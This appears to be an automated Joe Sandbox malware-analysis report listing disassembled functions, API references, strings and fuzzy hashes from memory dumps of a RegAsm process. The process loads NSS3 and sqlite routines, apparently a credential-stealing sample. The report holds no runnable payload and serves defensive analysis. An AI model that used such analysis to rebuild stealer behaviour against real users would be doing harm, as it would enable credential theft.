Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 6d1ae78ab87df1f2f8f18d67f4fe2201c63345bbfe5ac2e1eba696d51370edc2
Instruction ID: 654899fda47af5b1a2430b82fea59f5519b440f82259b76268369b10a2d53d2e
Opcode Fuzzy Hash: 6d1ae78ab87df1f2f8f18d67f4fe2201c63345bbfe5ac2e1eba696d51370edc2
Instruction Fuzzy Hash: 9611CEB2B01616ABDB00AE69EC45E97B77CFF142687110532E91987E01E732F434CBE2

Function 6C242CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C245B40: PR_GetIdentitiesLayer.NSS3 ref: 6C245B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C242CEC

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

PR_EnterMonitor.NSS3(?), ref: 6C242D02
PR_EnterMonitor.NSS3(?), ref: 6C242D1F
PR_ExitMonitor.NSS3(?), ref: 6C242D42
PR_ExitMonitor.NSS3(?), ref: 6C242D5B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: a4cfc603d96670a409cc75aac32b71abbae7c52cfbb55809bc327171c94ee2d8
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 7D01A1F5A10308ABE6319E26FC44A87B7B5EB55718F008525EC5AC6720E632E82586A2

Function 6C242D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C245B40: PR_GetIdentitiesLayer.NSS3 ref: 6C245B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C242D9C

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

PR_EnterMonitor.NSS3(?), ref: 6C242DB2
PR_EnterMonitor.NSS3(?), ref: 6C242DCF
PR_ExitMonitor.NSS3(?), ref: 6C242DF2
PR_ExitMonitor.NSS3(?), ref: 6C242E0B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: c0be6a8d2282a49bb7db265241fcddcf9657ca379ea31ce93b1e0913dc650a0f
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 5B01A5F5A106089FE6359E26FC45FC7B7B5EB41318F008435EC9AC6B10D632F42586A2

Function 6C1DAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C1C3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C1DAE42), ref: 6C1C30AA
Part of subcall function 6C1C3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1C30C7
Part of subcall function 6C1C3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C1C30E5
Part of subcall function 6C1C3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C1C3116
Part of subcall function 6C1C3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C1C312B
Part of subcall function 6C1C3090: PK11_DestroyObject.NSS3(?,?), ref: 6C1C3154
Part of subcall function 6C1C3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1C317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C1B99FF,?,?,?,?,?,?,?,?,?,6C1B2D6B,?), ref: 6C1DAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C1B99FF,?,?,?,?,?,?,?,?,?,6C1B2D6B,?), ref: 6C1DAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C1B2D6B,?,?,00000000), ref: 6C1DAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C1B2D6B,?,?,00000000), ref: 6C1DAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C1B2D6B,?,?), ref: 6C1DAEA3

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: dd6c142831816dfc3986e8b03e1a9ff391d6d0409b79fffb920c49dcb1e7404d
Instruction ID: ddf5a6ef7dfbe74cb5c6a24141a7677fe58afd0068837eca90572d00907f87ac
Opcode Fuzzy Hash: dd6c142831816dfc3986e8b03e1a9ff391d6d0409b79fffb920c49dcb1e7404d
Instruction Fuzzy Hash: 0E01F467B4015157E701D22CAC95BEB31588BA7A5CF0B0032F805C7B41FA1AE909C2E3

Function 6C2CADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C2CA6D8), ref: 6C2CAE0D
free.MOZGLUE(?), ref: 6C2CAE14
DeleteCriticalSection.KERNEL32(6C2CA6D8), ref: 6C2CAE36
free.MOZGLUE(?), ref: 6C2CAE3D
free.MOZGLUE(00000000,00000000,?,?,6C2CA6D8), ref: 6C2CAE47

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: f756b9163565ff3e0f8d0897dc83854f083fba03c554330e2604dfd97cc9e76f
Instruction ID: d1580b0384394ba8fac1218bcd2bd8f0352f68da94ab335c78d78487c2bdae8f
Opcode Fuzzy Hash: f756b9163565ff3e0f8d0897dc83854f083fba03c554330e2604dfd97cc9e76f
Instruction Fuzzy Hash: CBF062B6301A06A7CB109F68A809957B77CFE86775714032DF52A83980D731E115C7E6

Function 004266EA Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004266F6

Part of subcall function 00424924: __getptd_noexit.LIBCMT ref: 00424927
Part of subcall function 00424924: __amsg_exit.LIBCMT ref: 00424934

__getptd.LIBCMT ref: 0042670D
__amsg_exit.LIBCMT ref: 0042671B
__lock.LIBCMT ref: 0042672B
__updatetlocinfoEx_nolock.LIBCMT ref: 0042673F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 5c7350e25c4780c59a05a8c1f232e852279cca9f3fe445422cb6956616db6f8f
Instruction ID: 31caff8b8633fda53140493b80cc4ad61b0366fa367c911eede4bfbe2cff077c
Opcode Fuzzy Hash: 5c7350e25c4780c59a05a8c1f232e852279cca9f3fe445422cb6956616db6f8f
Instruction Fuzzy Hash: 92F0C272F003309AD721BB767802B5E76A0AF4032CF96410FE400972C2CF2C18408A4D

Function 00410077 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0041009A

Part of subcall function 0042EBC8: std::exception::exception.LIBCMT ref: 0042EBDD
Part of subcall function 0042EBC8: __CxxThrowException@8.LIBCMT ref: 0042EBF2
Part of subcall function 0042EBC8: std::exception::exception.LIBCMT ref: 0042EC03

__EH_prolog3_catch.LIBCMT ref: 00410139
std::_Xinvalid_argument.LIBCPMT ref: 0041014D

Strings

vector<T> too long, xrefs: 00410095, 00410148

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: 21e5a1159b0dafd69529a8bd10b546380f0f5929466dda2eaa896553c933d910
Instruction ID: c8ffca36d5deb6f4fb7ef4ca154eb75332bfef11c7de7ed005bc1a54b2e7049a
Opcode Fuzzy Hash: 21e5a1159b0dafd69529a8bd10b546380f0f5929466dda2eaa896553c933d910
Instruction Fuzzy Hash: 8031D632B503269FDB08EF69AC45AED77E29705311F51106FE520E7290D6BE9EC08B48

Function 6C146C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C146D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C146D20
%s at line %d of [%.10s], xrefs: 6C146D2F
database corruption, xrefs: 6C146D2A

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 3d4efa1ebb5724d9c2559b3950374d7669c980d63324b87fb943220700abf5e7
Instruction ID: 71c078d43ee8a655055ac27534b5d8d795f55e07112e5924cac5904d5e034259
Opcode Fuzzy Hash: 3d4efa1ebb5724d9c2559b3950374d7669c980d63324b87fb943220700abf5e7
Instruction Fuzzy Hash: CA21E0706003099BC710CF2AD841B9AB7E2AF8431CF24852DD88A9BF51E371E9498B92

Function 6C222FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+"l,6C2232C2,<+"l,00000000,00000000,?), ref: 6C222FDA

Part of subcall function 6C2114C0: TlsGetValue.KERNEL32 ref: 6C2114E0
Part of subcall function 6C2114C0: EnterCriticalSection.KERNEL32 ref: 6C2114F5
Part of subcall function 6C2114C0: PR_Unlock.NSS3 ref: 6C21150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C22300B

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C22302A

Part of subcall function 6C210840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C2108B4

Part of subcall function 6C1FC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C1FC45D
Part of subcall function 6C1FC3D0: TlsGetValue.KERNEL32 ref: 6C1FC494
Part of subcall function 6C1FC3D0: EnterCriticalSection.KERNEL32(?), ref: 6C1FC4A9
Part of subcall function 6C1FC3D0: PR_Unlock.NSS3(?), ref: 6C1FC4F4

Strings

<+"l, xrefs: 6C222FD0

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+"l
API String ID: 2538134263-1276598871
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: b8a6eb85774c7502f5c3e7772b416b50464d65b2e543eea01278fa04431e7e02
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: AD11C4B6B0010C6BDB008E659C00B9BB7D9AB84668F184134FD1CD7780EB76EA15C7A1

Function 00413359 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413378
StrCmpCA.SHLWAPI(00000000,004367D8,?), ref: 004133B1

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

strtok_s.MSVCRT ref: 004133ED

Strings

wA, xrefs: 0041336A, 0041336D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: wA
API String ID: 348468850-2241071787
Opcode ID: b54f79506fe34697ed56ceb4fd7e0475d30104fef2394611982800ee9c9d33ca
Instruction ID: 2478460808f36eeb2470641da1d29ec850732e21adfe65c6b768d3d5843ca9ce
Opcode Fuzzy Hash: b54f79506fe34697ed56ceb4fd7e0475d30104fef2394611982800ee9c9d33ca
Instruction Fuzzy Hash: 8411AF71A00109AFCB00DF54C985BDAB7BCAF00316F105167EC19E6192EB78EB848B98

Function 6C27CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C27CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C27CC7B), ref: 6C27CD7A
Part of subcall function 6C27CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C27CD8E
Part of subcall function 6C27CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C27CDA5
Part of subcall function 6C27CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C27CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C27CCB5
memcpy.VCRUNTIME140(6C3114F4,6C3102AC,00000090), ref: 6C27CCD3
memcpy.VCRUNTIME140(6C311588,6C3102AC,00000090), ref: 6C27CD2B

Part of subcall function 6C199AC0: socket.WSOCK32(?,00000017,6C1999BE), ref: 6C199AE6
Part of subcall function 6C199AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C1999BE), ref: 6C199AFC

Part of subcall function 6C1A0590: closesocket.WSOCK32(6C199A8F,?,?,6C199A8F,00000000), ref: 6C1A0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C27CCB0

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 0c525c1715b21b8c81c9e0d3864812548da09d1addda63a06bb40905c113166e
Instruction ID: 5579c7b724f00880ec91291037edf4878b740fe7fa8e9321f26ed524c330182d
Opcode Fuzzy Hash: 0c525c1715b21b8c81c9e0d3864812548da09d1addda63a06bb40905c113166e
Instruction Fuzzy Hash: B511D6F5B002489EDB509F6E8C477C2BABCA366718F002229E906DBF41EB71C4048BD7

Function 0040F27D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F282

Part of subcall function 0042EBC8: std::exception::exception.LIBCMT ref: 0042EBDD
Part of subcall function 0042EBC8: __CxxThrowException@8.LIBCMT ref: 0042EBF2
Part of subcall function 0042EBC8: std::exception::exception.LIBCMT ref: 0042EC03

std::_Xinvalid_argument.LIBCPMT ref: 0040F28D

Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC2A
Part of subcall function 0042EC15: __CxxThrowException@8.LIBCMT ref: 0042EC3F
Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC50

Strings

invalid string position, xrefs: 0040F288
string too long, xrefs: 0040F27D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: f275d42197edf040b10ae2a1a9b0e95dd663dcfd499cec32c134d51b3f46bf3d
Instruction ID: 4e14f3da9772afe2dcfc6e37a6574e6a2af7a733b4f87f0c8d62199a0fd25091
Opcode Fuzzy Hash: f275d42197edf040b10ae2a1a9b0e95dd663dcfd499cec32c134d51b3f46bf3d
Instruction Fuzzy Hash: 0DD012B164020C7BCB04E79AE80A9CDBBE99F48714F20016BE715D3641EA7466014559

Function 00411D61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
HeapAlloc.KERNEL32(00000000), ref: 00411D73
wsprintfW.USER32 ref: 00411D84

Strings

%hs, xrefs: 00411D7E

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

